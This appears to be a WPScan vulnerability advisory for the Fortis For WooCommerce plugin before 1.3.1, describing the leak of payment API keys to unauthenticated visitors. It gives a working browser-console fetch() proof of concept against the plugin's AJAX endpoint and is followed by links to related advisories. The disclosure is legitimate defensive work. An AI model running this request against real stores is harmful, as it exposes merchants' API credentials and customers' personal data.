Fortis For WooCommerce < 1.3.1 – Sensitive API Key Disclosure | CVE 2025-15609 | Plugin Vulnerabilities

Description

The plugin may leak sensitive API keys to unauthenticated attackers, allowing them to query Fortis' API and retrieve sensitive customer information, like past orders, PII, etc.

Proof of Concept

1) Add a product to your cart
2) Run the following in your browser's console

await fetch("/wp-admin/admin-ajax.php?action=fortis_ajax_request", {
    "credentials": "include",
    "method": "GET",
    "mode": "cors"
});

3) From the returned JSON, look into the `fortis` object: you'll notice production_user_id, production_user_api_key and a bunch of others are leaked.

Affects Plugins

fortis-for-woocommerce

Fixed in 1.3.1

References

CVE

Classification

Type

SENSITIVE DATA DISCLOSURE

OWASP top 10

A3: Sensitive Data Exposure

CWE

CVSS

Miscellaneous

Original Researcher

WPScan Team

Submitter

WPScan Team

Submitter website

https://wpscan.com

Submitter twitter

Verified

Yes

WPVDB ID

220f72ea-e3b4-44c9-8c9b-15662aebb6cb

Timeline

Publicly Published

2026-04-28 (about 1 month ago)

Added

2026-04-28 (about 1 month ago)

Last Updated

2026-04-28 (about 1 month ago)

Other

Published

Title

Published

2024-12-07

Title

WP Mailster < 1.8.17.0 - Unauthenticated Sensitive Information Exposure

Published

2026-05-19

Title

All in One SEO < 4.9.7.1 - Contributor+ Sensitive Information Exposure via 'internalOptions' Localized Script Data

Published

2025-09-15

Title

Atarim < 4.2.2 - Unauthenticated Information Exposure

Published

2023-12-04

Title

AppMySite < 3.11.1 - Unauthenticated Information Disclsoure

Published

2025-09-22

Title

WP System Information <= 1.5 - Authenticated (Subscriber+) Sensitive Information Exposure